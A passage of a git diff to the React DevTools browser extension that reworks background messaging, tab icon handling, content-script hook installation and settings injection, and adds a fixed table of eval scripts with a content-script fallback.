-      chrome.tabs.sendMessage(tabId, {
-        source: 'devtools-page',
-        payload: {
-          type: 'fetch-file-with-cache',
-          url,
-        },
-      });
-
       break;
     }
 
@@ -75,9 +81,71 @@ export function handleDevToolsPageMessage(message) {
       }
 
       executeScriptInMainWorld({
+        injectImmediately: true,
         target: {tabId},
         files: ['/build/backendManager.js'],
-      });
+      }).then(
+        () => {
+          if (__DEBUG__) {
+            console.log('Successfully injected backend manager');
+          }
+        },
+        reason => {
+          console.error('Failed to inject backend manager:', reason);
+        },
+      );
+
+      break;
+    }
+
+    case 'eval-in-inspected-window': {
+      const {
+        payload: {tabId, requestId, scriptId, args},
+      } = message;
+
+      chrome.tabs
+        .sendMessage(tabId, {
+          source: 'devtools-page-eval',
+          payload: {
+            scriptId,
+            args,
+          },
+        })
+        .then(response => {
+          if (!response) {
+            chrome.runtime.sendMessage({
+              source: 'react-devtools-background',
+              payload: {
+                type: 'eval-in-inspected-window-response',
+                requestId,
+                result: null,
+                error: 'No response from content script',
+              },
+            });
+            return;
+          }
+          const {result, error} = response;
+          chrome.runtime.sendMessage({
+            source: 'react-devtools-background',
+            payload: {
+              type: 'eval-in-inspected-window-response',
+              requestId,
+              result,
+              error,
+            },
+          });
+        })
+        .catch(error => {
+          chrome.runtime.sendMessage({
+            source: 'react-devtools-background',
+            payload: {
+              type: 'eval-in-inspected-window-response',
+              requestId,
+              result: null,
+              error: error?.message || String(error),
+            },
+          });
+        });
 
       break;
     }
diff --git a/packages/react-devtools-extensions/src/background/setExtensionIconAndPopup.js b/packages/react-devtools-extensions/src/background/setExtensionIconAndPopup.js
index 5c6e01111401..7f92114c87e1 100644
--- a/packages/react-devtools-extensions/src/background/setExtensionIconAndPopup.js
+++ b/packages/react-devtools-extensions/src/background/setExtensionIconAndPopup.js
@@ -1,11 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
 /* global chrome */
 
 'use strict';
+import type {ReactBuildType} from 'react-devtools-shared/src/backend/types';
 
-function setExtensionIconAndPopup(reactBuildType, tabId) {
-  const action = __IS_FIREFOX__ ? chrome.browserAction : chrome.action;
-
-  action.setIcon({
+function setExtensionIconAndPopup(
+  reactBuildType: ReactBuildType,
+  tabId: number,
+) {
+  chrome.action.setIcon({
     tabId,
     path: {
       '16': chrome.runtime.getURL(`icons/16-${reactBuildType}.png`),
@@ -15,7 +25,7 @@ function setExtensionIconAndPopup(reactBuildType, tabId) {
     },
   });
 
-  action.setPopup({
+  chrome.action.setPopup({
     tabId,
     popup: chrome.runtime.getURL(`popups/${reactBuildType}.html`),
   });
diff --git a/packages/react-devtools-extensions/src/background/tabsManager.js b/packages/react-devtools-extensions/src/background/tabsManager.js
index 23b566502a26..d46c14c6ea7c 100644
--- a/packages/react-devtools-extensions/src/background/tabsManager.js
+++ b/packages/react-devtools-extensions/src/background/tabsManager.js
@@ -5,7 +5,12 @@
 import setExtensionIconAndPopup from './setExtensionIconAndPopup';
 
 function isRestrictedBrowserPage(url) {
-  return !url || new URL(url).protocol === 'chrome:';
+  if (!url) {
+    return true;
+  }
+
+  const urlProtocol = new URL(url).protocol;
+  return urlProtocol === 'chrome:' || urlProtocol === 'about:';
 }
 
 function checkAndHandleRestrictedPageIfSo(tab) {
@@ -14,30 +19,13 @@ function checkAndHandleRestrictedPageIfSo(tab) {
   }
 }
 
-// update popup page of any existing open tabs, if they are restricted browser pages.
-// we can't update for any other types (prod,dev,outdated etc)
-// as the content script needs to be injected at document_start itself for those kinds of detection
-// TODO: Show a different popup page(to reload current page probably) for old tabs, opened before the extension is installed
-if (__IS_CHROME__ || __IS_EDGE__) {
-  chrome.tabs.query({}, tabs => tabs.forEach(checkAndHandleRestrictedPageIfSo));
-  chrome.tabs.onCreated.addListener((tabId, changeInfo, tab) =>
-    checkAndHandleRestrictedPageIfSo(tab),
-  );
-}
+// Update popup page of any existing open tabs, if they are restricted browser pages
+chrome.tabs.query({}, tabs => tabs.forEach(checkAndHandleRestrictedPageIfSo));
+chrome.tabs.onCreated.addListener(tab => checkAndHandleRestrictedPageIfSo(tab));
 
 // Listen to URL changes on the active tab and update the DevTools icon.
 chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
-  if (__IS_FIREFOX__) {
-    // We don't properly detect protected URLs in Firefox at the moment.
-    // However, we can reset the DevTools icon to its loading state when the URL changes.
-    // It will be updated to the correct icon by the onMessage callback below.
-    if (tab.active && changeInfo.status === 'loading') {
-      setExtensionIconAndPopup('disabled', tabId);
-    }
-  } else {
-    // Don't reset the icon to the loading state for Chrome or Edge.
-    // The onUpdated callback fires more frequently for these browsers,
-    // often after onMessage has been called.
-    checkAndHandleRestrictedPageIfSo(tab);
+  if (changeInfo.url && isRestrictedBrowserPage(changeInfo.url)) {
+    setExtensionIconAndPopup('restricted', tabId);
   }
 });
diff --git a/packages/react-devtools-extensions/src/contentScripts/backendManager.js b/packages/react-devtools-extensions/src/contentScripts/backendManager.js
index 36a2ab19aa41..402a13785762 100644
--- a/packages/react-devtools-extensions/src/contentScripts/backendManager.js
+++ b/packages/react-devtools-extensions/src/contentScripts/backendManager.js
@@ -13,8 +13,15 @@ import type {
 } from 'react-devtools-shared/src/backend/types';
 import {hasAssignedBackend} from 'react-devtools-shared/src/backend/utils';
 import {COMPACT_VERSION_NAME} from 'react-devtools-extensions/src/utils';
+import {getIsReloadAndProfileSupported} from 'react-devtools-shared/src/utils';
+import {
+  getIfReloadedAndProfiling,
+  onReloadAndProfile,
+  onReloadAndProfileFlagsReset,
+} from 'react-devtools-shared/src/utils';
 
 let welcomeHasInitialized = false;
+const requiredBackends = new Set<string>();
 
 function welcome(event: $FlowFixMe) {
   if (
@@ -48,8 +55,6 @@ function welcome(event: $FlowFixMe) {
   setup(window.__REACT_DEVTOOLS_GLOBAL_HOOK__);
 }
 
-window.addEventListener('message', welcome);
-
 function setup(hook: ?DevToolsHook) {
   // this should not happen, but Chrome can be weird sometimes
   if (hook == null) {
@@ -70,20 +75,27 @@ function setup(hook: ?DevToolsHook) {
   updateRequiredBackends();
 
   // register renderers that inject themselves later.
-  hook.sub('renderer', ({renderer}) => {
+  const unsubscribeRendererListener = hook.sub('renderer', ({renderer}) => {
     registerRenderer(renderer, hook);
     updateRequiredBackends();
   });
 
   // listen for backend installations.
-  hook.sub('devtools-backend-installed', version => {
-    activateBackend(version, hook);
-    updateRequiredBackends();
+  const unsubscribeBackendInstallationListener = hook.sub(
+    'devtools-backend-installed',
+    version => {
+      activateBackend(version, hook);
+      updateRequiredBackends();
+    },
+  );
+
+  const unsubscribeShutdownListener: () => void = hook.sub('shutdown', () => {
+    unsubscribeRendererListener();
+    unsubscribeBackendInstallationListener();
+    unsubscribeShutdownListener();
   });
 }
 
-const requiredBackends = new Set<string>();
-
 function registerRenderer(renderer: ReactRenderer, hook: DevToolsHook) {
   let version = renderer.reconcilerVersion || renderer.version;
   if (!hasAssignedBackend(version)) {
@@ -133,14 +145,23 @@ function activateBackend(version: string, hook: DevToolsHook) {
     },
   });
 
-  const agent = new Agent(bridge);
+  const agent = new Agent(
+    bridge,
+    getIfReloadedAndProfiling(),
+    onReloadAndProfile,
+  );
+  // Agent read flags successfully, we can count it as successful launch
+  // Clean up flags, so that next reload won't start profiling
+  onReloadAndProfileFlagsReset();
+
   agent.addListener('shutdown', () => {
     // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,
     // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.
     hook.emit('shutdown');
+    delete window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__;
   });
 
-  initBackend(hook, agent, window);
+  initBackend(hook, agent, window, getIsReloadAndProfileSupported());
 
   // Setup React Native style editor if a renderer like react-native-web has injected it.
   if (typeof setupNativeStyleEditor === 'function' && hook.resolveRNStyle) {
@@ -177,3 +198,13 @@ function updateRequiredBackends() {
     '*',
   );
 }
+
+/*
+ * Make sure this is executed only once in case Frontend is reloaded multiple times while Backend is initializing
+ * We can't use `reactDevToolsAgent` field on a global Hook object, because it only cleaned up after both Frontend and Backend initialized
+ */
+if (!window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__) {
+  window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__ = true;
+
+  window.addEventListener('message', welcome);
+}
diff --git a/packages/react-devtools-extensions/src/contentScripts/fallbackEvalContext.js b/packages/react-devtools-extensions/src/contentScripts/fallbackEvalContext.js
new file mode 100644
index 000000000000..e274f886ee56
--- /dev/null
+++ b/packages/react-devtools-extensions/src/contentScripts/fallbackEvalContext.js
@@ -0,0 +1,35 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {evalScripts} from '../evalScripts';
+
+window.addEventListener('message', event => {
+  if (event.data?.source === 'react-devtools-content-script-eval') {
+    const {scriptId, args, requestId} = event.data.payload;
+    const response = {result: null, error: null};
+    try {
+      if (!evalScripts[scriptId]) {
+        throw new Error(`No eval script with id "${scriptId}" exists.`);
+      }
+      response.result = evalScripts[scriptId].fn.apply(null, args);
+    } catch (err) {
+      response.error = err.message;
+    }
+    window.postMessage(
+      {
+        source: 'react-devtools-content-script-eval-response',
+        payload: {
+          requestId,
+          response,
+        },
+      },
+      '*',
+    );
+  }
+});
diff --git a/packages/react-devtools-extensions/src/contentScripts/fileFetcher.js b/packages/react-devtools-extensions/src/contentScripts/fileFetcher.js
index 198b4f68cd30..78663acc74fd 100644
--- a/packages/react-devtools-extensions/src/contentScripts/fileFetcher.js
+++ b/packages/react-devtools-extensions/src/contentScripts/fileFetcher.js
@@ -23,7 +23,7 @@ function fetchResource(url) {
     });
   };
 
-  fetch(url, {cache: 'force-cache'}).then(
+  fetch(url, {cache: 'force-cache', signal: AbortSignal.timeout(60000)}).then(
     response => {
       if (response.ok) {
         response
diff --git a/packages/react-devtools-extensions/src/contentScripts/hookSettingsInjector.js b/packages/react-devtools-extensions/src/contentScripts/hookSettingsInjector.js
new file mode 100644
index 000000000000..00c9b905a662
--- /dev/null
+++ b/packages/react-devtools-extensions/src/contentScripts/hookSettingsInjector.js
@@ -0,0 +1,70 @@
+/* global chrome */
+/** @flow */
+
+// We can't use chrome.storage domain from scripts which are injected in ExecutionWorld.MAIN
+// This is the only purpose of this script - to send persisted settings to installHook.js content script
+
+import type {UnknownMessageEvent} from './messages';
+import type {
+  DevToolsHookSettings,
+  DevToolsSettings,
+} from 'react-devtools-shared/src/backend/types';
+import type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';
+import {postMessage} from './messages';
+
+import {getDefaultComponentFilters} from 'react-devtools-shared/src/utils';
+
+async function messageListener(event: UnknownMessageEvent) {
+  if (event.source !== window) {
+    return;
+  }
+
+  if (event.data.source === 'react-devtools-hook-installer') {
+    if (event.data.payload.handshake) {
+      const settings: Partial<DevToolsSettings> =
+        await chrome.storage.local.get();
+      // If storage was empty (first installation), define default settings
+      const hookSettings: DevToolsHookSettings = {
+        appendComponentStack:
+          typeof settings.appendComponentStack === 'boolean'
+            ? settings.appendComponentStack
+            : true,
+        breakOnConsoleErrors:
+          typeof settings.breakOnConsoleErrors === 'boolean'
+            ? settings.breakOnConsoleErrors
+            : false,
+        showInlineWarningsAndErrors:
+          typeof settings.showInlineWarningsAndErrors === 'boolean'
+            ? settings.showInlineWarningsAndErrors
+            : true,
+        hideConsoleLogsInStrictMode:
+          typeof settings.hideConsoleLogsInStrictMode === 'boolean'
+            ? settings.hideConsoleLogsInStrictMode
+            : false,
+        disableSecondConsoleLogDimmingInStrictMode:
+          typeof settings.disableSecondConsoleLogDimmingInStrictMode ===
+          'boolean'
+            ? settings.disableSecondConsoleLogDimmingInStrictMode
+            : false,
+      };
+      const componentFilters: Array<ComponentFilter> = Array.isArray(
+        settings.componentFilters,
+      )
+        ? settings.componentFilters
+        : getDefaultComponentFilters();
+
+      postMessage({
+        source: 'react-devtools-settings-injector',
+        payload: {hookSettings, componentFilters},
+      });
+
+      window.removeEventListener('message', messageListener);
+    }
+  }
+}
+
+window.addEventListener('message', messageListener);
+postMessage({
+  source: 'react-devtools-settings-injector',
+  payload: {handshake: true},
+});
diff --git a/packages/react-devtools-extensions/src/contentScripts/installHook.js b/packages/react-devtools-extensions/src/contentScripts/installHook.js
index 2d33cdd89036..4a7cb44eaa31 100644
--- a/packages/react-devtools-extensions/src/contentScripts/installHook.js
+++ b/packages/react-devtools-extensions/src/contentScripts/installHook.js
@@ -1,29 +1,73 @@
+/** @flow */
+
+import type {UnknownMessageEvent} from './messages';
+import type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';
+import type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';
+
 import {installHook} from 'react-devtools-shared/src/hook';
+import {
+  getIfReloadedAndProfiling,
+  getProfilingSettings,
+} from 'react-devtools-shared/src/utils';
+import {postMessage} from './messages';
+import {createReactRendererListener} from './reactBuildType';
+
+let resolveHookSettingsInjection: (settings: DevToolsHookSettings) => void;
+let resolveComponentFiltersInjection: (filters: Array<ComponentFilter>) => void;
+
+function messageListener(event: UnknownMessageEvent) {
+  if (event.source !== window) {
+    return;
+  }
 
-// avoid double execution
+  if (event.data.source === 'react-devtools-settings-injector') {
+    const payload = event.data.payload;
+    // In case handshake message was sent prior to hookSettingsInjector execution
+    // We can't guarantee order
+    if (payload.handshake) {
+      postMessage({
+        source: 'react-devtools-hook-installer',
+        payload: {handshake: true},
+      });
+    } else if (payload.hookSettings) {
+      window.removeEventListener('message', messageListener);
+      resolveHookSettingsInjection(payload.hookSettings);
+      resolveComponentFiltersInjection(payload.componentFilters);
+    }
+  }
+}
+
+// Avoid double execution
 if (!window.hasOwnProperty('__REACT_DEVTOOLS_GLOBAL_HOOK__')) {
-  installHook(window);
+  const hookSettingsPromise = new Promise<DevToolsHookSettings>(resolve => {
+    resolveHookSettingsInjection = resolve;
+  });
+  const componentFiltersPromise = new Promise<Array<ComponentFilter>>(
+    resolve => {
+      resolveComponentFiltersInjection = resolve;
+    },
+  );
+
+  window.addEventListener('message', messageListener);
+  postMessage({
+    source: 'react-devtools-hook-installer',
+    payload: {handshake: true},
+  });
+
+  const shouldStartProfiling = getIfReloadedAndProfiling();
+  const profilingSettings = getProfilingSettings();
+  // Can't delay hook installation, inject settings lazily
+  installHook(
+    window,
+    componentFiltersPromise,
+    hookSettingsPromise,
+    shouldStartProfiling,
+    profilingSettings,
+  );
 
-  // detect react
+  // Detect React
   window.__REACT_DEVTOOLS_GLOBAL_HOOK__.on(
     'renderer',
-    function ({reactBuildType}) {
-      window.postMessage(
-        {
-          source: 'react-devtools-hook',
-          payload: {
-            type: 'react-renderer-attached',
-            reactBuildType,
-          },
-        },
-        '*',
-      );
-    },
+    createReactRendererListener(window),
   );
-
-  // save native values
-  window.__REACT_DEVTOOLS_GLOBAL_HOOK__.nativeObjectCreate = Object.create;
-  window.__REACT_DEVTOOLS_GLOBAL_HOOK__.nativeMap = Map;
-  window.__REACT_DEVTOOLS_GLOBAL_HOOK__.nativeWeakMap = WeakMap;
-  window.__REACT_DEVTOOLS_GLOBAL_HOOK__.nativeSet = Set;
 }
diff --git a/packages/react-devtools-extensions/src/contentScripts/messages.js b/packages/react-devtools-extensions/src/contentScripts/messages.js
new file mode 100644
index 000000000000..b93a3f0df86d
--- /dev/null
+++ b/packages/react-devtools-extensions/src/contentScripts/messages.js
@@ -0,0 +1,44 @@
+/** @flow */
+
+import type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';
+import type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';
+
+export function postMessage(event: UnknownMessageEventData): void {
+  window.postMessage(event);
+}
+
+export interface UnknownMessageEvent
+  extends MessageEvent<UnknownMessageEventData> {}
+
+export type UnknownMessageEventData =
+  | SettingsInjectorEventData
+  | HookInstallerEventData;
+
+export type HookInstallerEventData = {
+  source: 'react-devtools-hook-installer',
+  payload: HookInstallerEventPayload,
+};
+
+export type HookInstallerEventPayload = HookInstallerEventPayloadHandshake;
+
+export type HookInstallerEventPayloadHandshake = {
+  handshake: true,
+};
+
+export type SettingsInjectorEventData = {
+  source: 'react-devtools-settings-injector',
+  payload: SettingsInjectorEventPayload,
+};
+
+export type SettingsInjectorEventPayload =
+  | SettingsInjectorEventPayloadHandshake
+  | SettingsInjectorEventPayloadSettings;
+
+export type SettingsInjectorEventPayloadHandshake = {
+  handshake: true,
+};
+
+export type SettingsInjectorEventPayloadSettings = {
+  hookSettings: DevToolsHookSettings,
+  componentFilters: Array<ComponentFilter>,
+};
diff --git a/packages/react-devtools-extensions/src/contentScripts/prepareInjection.js b/packages/react-devtools-extensions/src/contentScripts/prepareInjection.js
index d67ea7c405a1..1b9962a9a826 100644
--- a/packages/react-devtools-extensions/src/contentScripts/prepareInjection.js
+++ b/packages/react-devtools-extensions/src/contentScripts/prepareInjection.js
@@ -1,31 +1,5 @@
 /* global chrome */
 
-import nullthrows from 'nullthrows';
-
-// We run scripts on the page via the service worker (background/index.js) for
-// Manifest V3 extensions (Chrome & Edge).
-// We need to inject this code for Firefox only because it does not support ExecutionWorld.MAIN
-// https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/ExecutionWorld
-// In this content script we have access to DOM, but don't have access to the webpage's window,
-// so we inject this inline script tag into the webpage (allowed in Manifest V2).
-function injectScriptSync(src) {
-  let code = '';
-  const request = new XMLHttpRequest();
-  request.addEventListener('load', function () {
-    code = this.responseText;
-  });
-  request.open('GET', src, false);
-  request.send();
-
-  const script = document.createElement('script');
-  script.textContent = code;
-
-  // This script runs before the <head> element is created,
-  // so we add the script to <html> instead.
-  nullthrows(document.documentElement).appendChild(script);
-  nullthrows(script.parentNode).removeChild(script);
-}
-
 let lastSentDevToolsHookMessage;
 
 // We want to detect when a renderer attaches, and notify the "background page"
@@ -60,17 +34,3 @@ window.addEventListener('pageshow', function ({target}) {
 
   chrome.runtime.sendMessage(lastSentDevToolsHookMessage);
 });
-
-if (__IS_FIREFOX__) {
-  injectScriptSync(chrome.runtime.getURL('build/renderer.js'));
-
-  // Inject a __REACT_DEVTOOLS_GLOBAL_HOOK__ global for React to interact with.
-  // Only do this for HTML documents though, to avoid e.g. breaking syntax highlighting for XML docs.
-  switch (document.contentType) {
-    case 'text/html':
-    case 'application/xhtml+xml': {
-      injectScriptSync(chrome.runtime.getURL('build/installHook.js'));
-      break;
-    }
-  }
-}
diff --git a/packages/react-devtools-extensions/src/contentScripts/proxy.js b/packages/react-devtools-extensions/src/contentScripts/proxy.js
index 8ffeeffb2af5..f2b02463600b 100644
--- a/packages/react-devtools-extensions/src/contentScripts/proxy.js
+++ b/packages/react-devtools-extensions/src/contentScripts/proxy.js
@@ -1,8 +1,16 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
 /* global chrome */
 
 'use strict';
 
-window.addEventListener('pageshow', function ({target}) {
+function injectProxy() {
   // Firefox's behaviour for injecting this content script can be unpredictable
   // While navigating the history, some content scripts might not be re-injected and still be alive
   if (!window.__REACT_DEVTOOLS_PROXY_INJECTED__) {
@@ -14,7 +22,7 @@ window.addEventListener('pageshow', function ({target}) {
     // The backend waits to install the global hook until notified by the content script.
     // In the event of a page reload, the content script might be loaded before the backend manager is injected.
     // Because of this we need to poll the backend manager until it has been initialized.
-    const intervalID = setInterval(() => {
+    const intervalID: IntervalID = setInterval(() => {
       if (backendInitialized) {
         clearInterval(intervalID);
       } else {
@@ -22,7 +30,25 @@ window.addEventListener('pageshow', function ({target}) {
       }
     }, 500);
   }
-});
+}
+
+function handlePageShow() {
+  if (document.prerendering) {
+    // React DevTools can't handle multiple documents being connected to the same extension port.
+    // However, browsers are firing pageshow events while prerendering (https://issues.chromium.org/issues/489633225).
+    // We need to wait until prerendering is finished before injecting the proxy.
+    // In browsers with pagereveal support, listening to pagereveal would be sufficient.
+    // Waiting for prerenderingchange is a workaround to support browsers that
+    // have speculationrules but not pagereveal.
+    document.addEventListener('prerenderingchange', injectProxy, {once: true});
+  } else {
+    injectProxy();
+  }
+}
+
+window.addEventListener('pagereveal', injectProxy);
+// For backwards compat with browsers not implementing `pagereveal` which is a fairly new event.
+window.addEventListener('pageshow', handlePageShow);
 
 window.addEventListener('pagehide', function ({target}) {
   if (target !== window.document) {
@@ -45,7 +71,7 @@ function sayHelloToBackendManager() {
   );
 }
 
-function handleMessageFromDevtools(message) {
+function handleMessageFromDevtools(message: any) {
   window.postMessage(
     {
       source: 'react-devtools-content-script',
@@ -55,7 +81,7 @@ function handleMessageFromDevtools(message) {
   );
 }
 
-function handleMessageFromPage(event) {
+function handleMessageFromPage(event: any) {
   if (event.source !== window || !event.data) {
     return;
   }
@@ -65,6 +91,7 @@ function handleMessageFromPage(event) {
     case 'react-devtools-bridge': {
       backendInitialized = true;
 
+      // $FlowFixMe[incompatible-use]
       port.postMessage(event.data.payload);
       break;
     }
@@ -99,6 +126,54 @@ function connectPort() {
 
   window.addEventListener('message', handleMessageFromPage);
 
+  // $FlowFixMe[incompatible-use]
   port.onMessage.addListener(handleMessageFromDevtools);
+  // $FlowFixMe[incompatible-use]
   port.onDisconnect.addListener(handleDisconnect);
 }
+
+let evalRequestId = 0;
+const evalRequestCallbacks = new Map<number, Function>();
+
+chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {
+  switch (msg?.source) {
+    case 'devtools-page-eval': {
+      const {scriptId, args} = msg.payload;
+      const requestId = evalRequestId++;
+      window.postMessage(
+        {
+          source: 'react-devtools-content-script-eval',
+          payload: {
+            requestId,
+            scriptId,
+            args,
+          },
+        },
+        '*',
+      );
+      evalRequestCallbacks.set(requestId, sendResponse);
+      return true; // Indicate we will respond asynchronously
+    }
+  }
+});
+
+window.addEventListener('message', event => {
+  if (event.data?.source === 'react-devtools-content-script-eval-response') {
+    const {requestId, response} = event.data.payload;
+    const callback = evalRequestCallbacks.get(requestId);
+    try {
+      if (!callback)
+        throw new Error(
+          `No eval request callback for id "${requestId}" exists.`,
+        );
+      callback(response);
+    } catch (e) {
+      console.warn(
+        'React DevTools Content Script eval response error occurred:',
+        e,
+      );
+    } finally {
+      evalRequestCallbacks.delete(requestId);
+    }
+  }
+});
diff --git a/packages/react-devtools-extensions/src/contentScripts/reactBuildType.js b/packages/react-devtools-extensions/src/contentScripts/reactBuildType.js
new file mode 100644
index 000000000000..f1d5326ea96a
--- /dev/null
+++ b/packages/react-devtools-extensions/src/contentScripts/reactBuildType.js
@@ -0,0 +1,50 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {ReactBuildType} from 'react-devtools-shared/src/backend/types';
+
+function reduceReactBuild(
+  currentReactBuildType: null | ReactBuildType,
+  nextReactBuildType: ReactBuildType,
+): ReactBuildType {
+  if (
+    currentReactBuildType === null ||
+    currentReactBuildType === 'production'
+  ) {
+    return nextReactBuildType;
+  }
+
+  // We only display the "worst" build type, so if we've already detected a non-production build,
+  // we ignore any future production builds. This way if a page has multiple renderers,
+  // and at least one of them is a non-production build, we'll display that instead of "production".
+  return nextReactBuildType === 'production'
+    ? currentReactBuildType
+    : nextReactBuildType;
+}
+
+export function createReactRendererListener(target: {
+  postMessage: Function,
+  ...
+}): ({reactBuildType: ReactBuildType}) => void {
+  let displayedReactBuild: null | ReactBuildType = null;
+
+  return function ({reactBuildType}) {
+    displayedReactBuild = reduceReactBuild(displayedReactBuild, reactBuildType);
+
+    target.postMessage(
+      {
+        source: 'react-devtools-hook',
+        payload: {
+          type: 'react-renderer-attached',
+          reactBuildType: displayedReactBuild,
+        },
+      },
+      '*',
+    );
+  };
+}
diff --git a/packages/react-devtools-extensions/src/contentScripts/renderer.js b/packages/react-devtools-extensions/src/contentScripts/renderer.js
deleted file mode 100644
index ab02997bbaab..000000000000
--- a/packages/react-devtools-extensions/src/contentScripts/renderer.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/**
- * In order to support reload-and-profile functionality, the renderer needs to be injected before any other scripts.
- * Since it is a complex file (with imports) we can't just toString() it like we do with the hook itself,
- * So this entry point (one of the web_accessible_resources) provides a way to eagerly inject it.
- * The hook will look for the presence of a global __REACT_DEVTOOLS_ATTACH__ and attach an injected renderer early.
- * The normal case (not a reload-and-profile) will not make use of this entry point though.
- *
- * @flow
- */
-
-import {attach} from 'react-devtools-shared/src/backend/renderer';
-import {SESSION_STORAGE_RELOAD_AND_PROFILE_KEY} from 'react-devtools-shared/src/constants';
-import {sessionStorageGetItem} from 'react-devtools-shared/src/storage';
-
-if (
-  sessionStorageGetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY) === 'true' &&
-  !window.hasOwnProperty('__REACT_DEVTOOLS_ATTACH__')
-) {
-  Object.defineProperty(
-    window,
-    '__REACT_DEVTOOLS_ATTACH__',
-    ({
-      enumerable: false,
-      // This property needs to be configurable to allow third-party integrations
-      // to attach their own renderer. Note that using third-party integrations
-      // is not officially supported. Use at your own risk.
-      configurable: true,
-      get() {
-        return attach;
-      },
-    }: Object),
-  );
-}
diff --git a/packages/react-devtools-extensions/src/evalScripts.js b/packages/react-devtools-extensions/src/evalScripts.js
new file mode 100644
index 000000000000..60757caaaa29
--- /dev/null
+++ b/packages/react-devtools-extensions/src/evalScripts.js
@@ -0,0 +1,112 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export type EvalScriptIds =
+  | 'checkIfReactPresentInInspectedWindow'
+  | 'reload'
+  | 'setBrowserSelectionFromReact'
+  | 'setReactSelectionFromBrowser'
+  | 'viewAttributeSource'
+  | 'viewElementSource';
+
+/*
+ .fn for fallback in Content Script context
+ .code for chrome.devtools.inspectedWindow.eval()
+*/
+type EvalScriptEntry = {
+  fn: (...args: any[]) => any,
+  code: (...args: any[]) => string,
+};
+
+/*
+  Can not access `Developer Tools Console API` (e.g., inspect(), $0) in this context.
+  So some fallback functions are no-op or throw error.
+*/
+export const evalScripts: {[key: EvalScriptIds]: EvalScriptEntry} = {
+  checkIfReactPresentInInspectedWindow: {
+    fn: () =>
+      window.__REACT_DEVTOOLS_GLOBAL_HOOK__ &&
+      window.__REACT_DEVTOOLS_GLOBAL_HOOK__.renderers.size > 0,
+    code: () =>
+      'window.__REACT_DEVTOOLS_GLOBAL_HOOK__ &&' +
+      'window.__REACT_DEVTOOLS_GLOBAL_HOOK__.renderers.size > 0',
+  },
+  reload: {
+    fn: () => window.location.reload(),
+    code: () => 'window.location.reload();',
+  },
+  setBrowserSelectionFromReact: {
+    fn: () => {
+      throw new Error('Not supported in fallback eval context');
+    },
+    code: () =>
+      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +
+      '(inspect(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0), true) :' +
+      'false',
+  },
+  setReactSelectionFromBrowser: {
+    fn: () => {
+      throw new Error('Not supported in fallback eval context');
+    },
+    code: () =>
+      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__ && window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +
+      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = $0, true) :' +
+      'false',
+  },
+  viewAttributeSource: {
+    fn: ({rendererID, elementID, path}) => {
+      return false; // Not supported in fallback eval context
+    },
+    code: ({rendererID, elementID, path}) =>
+      '{' + // The outer block is important because it means we can declare local variables.
+      'const renderer = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.get(' +
+      JSON.stringify(rendererID) +
+      ');' +
+      'if (renderer) {' +
+      '  const value = renderer.getElementAttributeByPath(' +
+      JSON.stringify(elementID) +
+      ',' +
+      JSON.stringify(path) +
+      ');' +
+      '  if (value) {' +
+      '    inspect(value);' +
+      '    true;' +
+      '  } else {' +
+      '    false;' +
+      '  }' +
+      '} else {' +
+      '  false;' +
+      '}' +
+      '}',
+  },
+  viewElementSource: {
+    fn: ({rendererID, elementID}) => {
+      return false; // Not supported in fallback eval context
+    },
+    code: ({rendererID, elementID}) =>
+      '{' + // The outer block is important because it means we can declare local variables.
+      'const renderer = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.get(' +
+      JSON.stringify(rendererID) +
+      ');' +
+      'if (renderer) {' +
+      '  const value = renderer.getElementSourceFunctionById(' +
+      JSON.stringify(elementID) +
+      ');' +
+      '  if (value) {' +
+      '    inspect(value);' +
+      '    true;' +
+      '  } else {' +
+      '    false;' +
+      '  }' +
+      '} else {' +
+      '  false;' +
+      '}' +
+      '}',
+  },
+};
diff --git a/packages/react-devtools-extensions/src/main/cloneStyleTags.js b/packages/react-devtools-extensions/src/main/cloneStyleTags.js
index dd84e01fc9ef..caad2a361caa 100644
--- a/packages/react-devtools-extensions/src/main/cloneStyleTags.js
+++ b/packages/react-devtools-extensions/src/main/cloneStyleTags.js
@@ -1,5 +1,14 @@
-function cloneStyleTags() {
-  const linkTags = [];
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export function cloneStyleTags(): Array<HTMLLinkElement | HTMLStyleElement> {
